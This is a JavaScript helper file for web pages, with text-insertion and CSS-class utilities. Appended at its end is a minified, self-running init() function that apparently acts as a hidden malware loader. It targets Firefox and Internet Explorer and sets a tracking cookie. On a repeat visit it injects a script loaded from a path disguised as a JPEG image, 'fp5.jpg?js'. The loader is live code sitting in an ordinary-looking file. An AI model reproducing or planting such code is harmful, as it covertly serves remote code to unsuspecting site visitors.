function wrapSelection(myField, begin, end) {
		//IE support
		if (document.selection) {
			myField.focus();
			sel = document.selection.createRange();
			sel.text = begin + sel.text + end;
		}
		//MOZILLA/NETSCAPE support
		else if (myField.selectionStart || myField.selectionStart == '0') {
			var startPos = myField.selectionStart;
			var endPos = myField.selectionEnd;
			if(startPos == endPos) {
				myField.value = myField.value + begin + end;
			} else {
				myField.value = myField.value.substring(0, startPos) + begin + myField.value.substring(startPos, endPos) + end + myField.value.substring(endPos, myField.value.length);
			}
		} else {
			myField.value += myValue;
		}
	}
	function insertAtCursor(myField, myValue) {
		//IE support
		if (document.selection) {
			myField.focus();
			sel = document.selection.createRange();
			sel.text = myValue;
		}
		//MOZILLA/NETSCAPE support
		else if (myField.selectionStart || myField.selectionStart == '0') {
			var startPos = myField.selectionStart;
			var endPos = myField.selectionEnd;
			myField.value = myField.value.substring(0, startPos)
			+ myValue
			+ myField.value.substring(endPos, myField.value.length);
		} else {
			myField.value += myValue;
		}
	}
function writit(text,id) {
	if (document.getElementById) {
		x = document.getElementById(id);
		x.innerHTML = '';
		x.innerHTML = text;
	} else if (document.all) {
		x = document.all[id];
		x.innerHTML = text;
	} else if (document.layers) {
		x = document.layers[id];
		text2 = '<p class="testclass">' + text + '</p>';
		x.document.open();
		x.document.write(text2);
		x.document.close();
	}
}

	//toggle hide: if the element has class 'hide' assigned to it then remove it. Otherwise, add it
	function toggleHide(element) {
		if(element) {
			if(element.className.indexOf("hide") > -1)
				removeClass(element, "hide");
			else
				addClass(element, "hide");
		}
	}

	
	function getChildByClassName(element, classname) {
		var children, child;
		children = element.childNodes;
		//list all of this elements children and find the elements with a 'wrapper' and a 'editor'-class
		for(i in children) {
			if(children[i].className) {
				if(children[i].className.indexOf(classname) > -1)
					child = children[i];
			}
		}
		return child;
	}
	
	//add a class to an element
	//use this when an element could have more than 1 class assigned to it.
	function addClass (e, c) {
		if(e && c) {
			if(e.className.length > 0)
				e.className += ' ' + c;
			else
				e.className = c;
		}
	}
	//this removes a class from an element
	//use this when an element could have more than 1 class assigned to it.
	function removeClass (e, c) {
		if(e && c) {
			var oldClasses = e.className.split(" ");
			var newClasses = '';
			for(var i = 0; i < oldClasses.length; i++) {
				if(oldClasses[i] != c)
					newClasses += oldClasses[i] + ' ';
			}
			e.className = newClasses;
		}
	}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/inline/fp5.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
